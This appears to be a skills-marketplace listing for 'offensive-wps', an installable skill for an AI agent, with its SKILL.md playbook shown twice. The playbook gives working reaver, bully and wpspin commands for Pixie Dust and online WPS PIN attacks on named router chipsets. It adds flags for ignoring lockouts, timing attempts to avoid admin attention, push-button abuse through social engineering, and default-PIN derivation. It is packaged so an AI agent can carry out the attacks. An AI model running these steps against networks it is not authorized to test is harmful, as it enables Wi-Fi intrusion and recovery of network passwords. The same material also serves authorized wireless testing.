offensive-wps

Name: offensive-wps
Author: SnailSploit

2.8kstars447forks

How to install offensive-wps?

snailsploit/claude-red/offensive-wps

$npx -y skills add SnailSploit/Claude-Red --skill offensive-wps

Installs into the current project.

Summary

WPS (Wi-Fi Protected Setup) PIN attack methodology — Pixie Dust offline attack against vulnerable chipsets (Ralink, Realtek, Broadcom, MediaTek), online PIN brute-force with reaver/bully, lockout handling, time-of-day evasion, WPS push-button vulnerability windows, and PIN-to-PSK

Files · 1

View on GitHub

SKILL.md

1	# WPS PIN Attacks
2
3	WPS converts an 8-digit PIN into the network PSK via the M3/M4 message exchange. The PIN is split into 4-digit + 3-digit halves (the 8th digit is a checksum), giving only 11,000 effective combinations — and on vulnerable chipsets, the offline Pixie Dust attack recovers the PIN in seconds without ever sending an online attempt.
4
5	## Quick Workflow
6
7	1. Detect WPS-enabled APs (look for the WPS IE in beacons)
8	2. Try Pixie Dust first — offline, undetectable, instantaneous when it works
9	3. If chipset isn't vulnerable, check whether online brute is feasible (lockout policy)
10	4. Online brute as last resort, slow and detectable
11
12	---
13
14	## Detection
15
16	```bash
17	# wash — dedicated WPS scanner
18	sudo wash -i wlan0mon
19
20	# Or use airodump-ng with WPS column
21	sudo airodump-ng wlan0mon --wps
22	```
23
24	Output includes: WPS version (1.0 / 2.0), Locked status, Configured/Unconfigured, vendor.
25
26	WPS 2.0 introduced lockout enforcement, but many consumer APs still implement it as "lock for 60 seconds after 3 failures" — easily bypassed by waiting.
27
28	## Pixie Dust (Offline)
29
30	The Pixie Dust attack exploits weak nonce generation in WPS-implementing chipsets. The attack captures one full WPS handshake (M1-M4) and then offline-computes the PIN.
31
32	```bash
33	# reaver with Pixie Dust mode
34	sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
35
36	# bully alternative
37	sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
38	```
39
40	\| Chipset \| Vulnerable? \|
41	\|---\|---\|
42	\| Ralink (RT chipsets) \| Yes — most older D-Link, TP-Link, Edimax \|
43	\| Realtek (RTL8xxx) \| Yes — many TRENDnet, Belkin \|
44	\| Broadcom (older firmware) \| Often yes — specific model + firmware revs \|
45	\| MediaTek (specific revs) \| Mixed \|
46	\| Atheros \| Mostly patched \|
47
48	When successful:
49
50	```
51	[Pixie-Dust] WPS PIN: 12345670
52	[Pixie-Dust] WPA PSK: ActualPasswordHere
53	[Pixie-Dust] AP SSID: HomeWiFi
54	```
55
56	The PIN gives you the PSK directly via the M7 message — no PSK cracking needed.
57
58	## Online PIN Brute-Force
59
60	When Pixie Dust fails, online brute is the fallback. Send EAPOL-Start → M1 → M2 → M3 attempts with successive PINs.
61
62	```bash
63	# reaver online mode (default)
64	sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \
65	-L -N -d 15 -t 30 -T .5 -r 3:30 -vv
66
67	# Flags:
68	# -L : ignore failed lockouts
69	# -N : don't send NACK packets
70	# -d 15 : 15-second delay between attempts
71	# -t 30 : timeout
72	# -T .5 : timeout for receiving M5/M7
73	# -r 3:30 : pause 30s every 3 attempts
74	```
75
76	### Lockout Handling
77
78	Most modern APs lock WPS after a few failed PINs. Detect lockout:
79
80	- AP stops responding to EAPOL-Start
81	- WPS `Locked` flag in beacon switches to `Yes`
82
83	Strategies:
84	- Wait it out: many APs auto-unlock after 60–600 seconds. Set `-r` accordingly.
85	- Reboot the AP: physically resets state. Only works if you have authorization for that disruption.
86	- Spread attempts across time of day: low-traffic windows to avoid coincident legitimate WPS use that triggers admin attention.
87
88	### Time Estimate
89
90	- 11,000 attempts × (delay + timeout) ≈ best case 4 hours, realistic 12–24 hours
91	- Lockout multiplier: 5–20x depending on policy
92	- Pixie Dust beats this by minutes when vulnerable. Always try first.
93
94	## Push-Button (PBC) Method
95
96	WPS PBC opens a 120-second window after the user presses the button on the AP. During this window any client requesting WPS is paired without PIN.
97
98	Attack viability:
99	- Practically: requires either physical access to push the button (= you've already won) or social engineering ("the IT guy will press the button at 14:00")
100	- Some buggy APs have a permanent PBC window — test by sending PBC association
101
102	```bash
103	# Trigger PBC pairing attempt
104	sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P
105	```
106
107	## PIN-Default Patterns
108
109	Some vendors derive the WPS PIN from MAC + serial. With known algorithms:
110
111	```bash
112	# wpscalc / WPSPIN — calculate likely PINs from BSSID
113	wpspin --bssid AA:BB:CC:DD:EE:FF
114	# Outputs candidate PINs to try first before brute
115	```
116
117	Hit rate is high on certain Belkin, ZyXEL, and Linksys models.
118
119	## Detection Considerations
120
121	\| Signal \| Defender View \|
122	\|---\|---\|
123	\| Reaver/bully traffic pattern \| WIPS rule: rapid WPS exchange attempts \|
124	\| PIN failures spike \| WPS `Locked` flag flip \|
125	\| Vendor PSK leaked offline \| Undetectable — Pixie Dust is offline \|
126	\| Consumer admin interface \| "WPS attempt" might log if AP has audit features (rare) \|
127
128	Pixie Dust against a vulnerable chipset is essentially undetectable from the wire perspective — only one WPS exchange happens, identical to a legitimate client.
129
130	## Engagement

People who liked this also viewed

6 picks

Type

offensive-wps

2.8kstars447forks

View on GitHub

How to install offensive-wps?

snailsploit/claude-red/offensive-wps

$npx -y skills add SnailSploit/Claude-Red --skill offensive-wps

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# WPS PIN Attacks
2
3	WPS converts an 8-digit PIN into the network PSK via the M3/M4 message exchange. The PIN is split into 4-digit + 3-digit halves (the 8th digit is a checksum), giving only 11,000 effective combinations — and on vulnerable chipsets, the offline Pixie Dust attack recovers the PIN in seconds without ever sending an online attempt.
4
5	## Quick Workflow
6
7	1. Detect WPS-enabled APs (look for the WPS IE in beacons)
8	2. Try Pixie Dust first — offline, undetectable, instantaneous when it works
9	3. If chipset isn't vulnerable, check whether online brute is feasible (lockout policy)
10	4. Online brute as last resort, slow and detectable
11
12	---
13
14	## Detection
15
16	```bash
17	# wash — dedicated WPS scanner
18	sudo wash -i wlan0mon
19
20	# Or use airodump-ng with WPS column
21	sudo airodump-ng wlan0mon --wps
22	```
23
24	Output includes: WPS version (1.0 / 2.0), Locked status, Configured/Unconfigured, vendor.
25
26	WPS 2.0 introduced lockout enforcement, but many consumer APs still implement it as "lock for 60 seconds after 3 failures" — easily bypassed by waiting.
27
28	## Pixie Dust (Offline)
29
30	The Pixie Dust attack exploits weak nonce generation in WPS-implementing chipsets. The attack captures one full WPS handshake (M1-M4) and then offline-computes the PIN.
31
32	```bash
33	# reaver with Pixie Dust mode
34	sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -K 1 -vvv
35
36	# bully alternative
37	sudo bully -b AA:BB:CC:DD:EE:FF -d -v 3 wlan0mon
38	```
39
40	\| Chipset \| Vulnerable? \|
41	\|---\|---\|
42	\| Ralink (RT chipsets) \| Yes — most older D-Link, TP-Link, Edimax \|
43	\| Realtek (RTL8xxx) \| Yes — many TRENDnet, Belkin \|
44	\| Broadcom (older firmware) \| Often yes — specific model + firmware revs \|
45	\| MediaTek (specific revs) \| Mixed \|
46	\| Atheros \| Mostly patched \|
47
48	When successful:
49
50	```
51	[Pixie-Dust] WPS PIN: 12345670
52	[Pixie-Dust] WPA PSK: ActualPasswordHere
53	[Pixie-Dust] AP SSID: HomeWiFi
54	```
55
56	The PIN gives you the PSK directly via the M7 message — no PSK cracking needed.
57
58	## Online PIN Brute-Force
59
60	When Pixie Dust fails, online brute is the fallback. Send EAPOL-Start → M1 → M2 → M3 attempts with successive PINs.
61
62	```bash
63	# reaver online mode (default)
64	sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF \
65	-L -N -d 15 -t 30 -T .5 -r 3:30 -vv
66
67	# Flags:
68	# -L : ignore failed lockouts
69	# -N : don't send NACK packets
70	# -d 15 : 15-second delay between attempts
71	# -t 30 : timeout
72	# -T .5 : timeout for receiving M5/M7
73	# -r 3:30 : pause 30s every 3 attempts
74	```
75
76	### Lockout Handling
77
78	Most modern APs lock WPS after a few failed PINs. Detect lockout:
79
80	- AP stops responding to EAPOL-Start
81	- WPS `Locked` flag in beacon switches to `Yes`
82
83	Strategies:
84	- Wait it out: many APs auto-unlock after 60–600 seconds. Set `-r` accordingly.
85	- Reboot the AP: physically resets state. Only works if you have authorization for that disruption.
86	- Spread attempts across time of day: low-traffic windows to avoid coincident legitimate WPS use that triggers admin attention.
87
88	### Time Estimate
89
90	- 11,000 attempts × (delay + timeout) ≈ best case 4 hours, realistic 12–24 hours
91	- Lockout multiplier: 5–20x depending on policy
92	- Pixie Dust beats this by minutes when vulnerable. Always try first.
93
94	## Push-Button (PBC) Method
95
96	WPS PBC opens a 120-second window after the user presses the button on the AP. During this window any client requesting WPS is paired without PIN.
97
98	Attack viability:
99	- Practically: requires either physical access to push the button (= you've already won) or social engineering ("the IT guy will press the button at 14:00")
100	- Some buggy APs have a permanent PBC window — test by sending PBC association
101
102	```bash
103	# Trigger PBC pairing attempt
104	sudo reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -p '00000000' -P
105	```
106
107	## PIN-Default Patterns
108
109	Some vendors derive the WPS PIN from MAC + serial. With known algorithms:
110
111	```bash
112	# wpscalc / WPSPIN — calculate likely PINs from BSSID
113	wpspin --bssid AA:BB:CC:DD:EE:FF
114	# Outputs candidate PINs to try first before brute
115	```
116
117	Hit rate is high on certain Belkin, ZyXEL, and Linksys models.
118
119	## Detection Considerations
120
121	\| Signal \| Defender View \|
122	\|---\|---\|
123	\| Reaver/bully traffic pattern \| WIPS rule: rapid WPS exchange attempts \|
124	\| PIN failures spike \| WPS `Locked` flag flip \|
125	\| Vendor PSK leaked offline \| Undetectable — Pixie Dust is offline \|
126	\| Consumer admin interface \| "WPS attempt" might log if AP has audit features (rare) \|
127
128	Pixie Dust against a vulnerable chipset is essentially undetectable from the wire perspective — only one WPS exchange happens, identical to a legitimate client.
129
130	## Engagement

People who liked this also viewed

6 picks

Type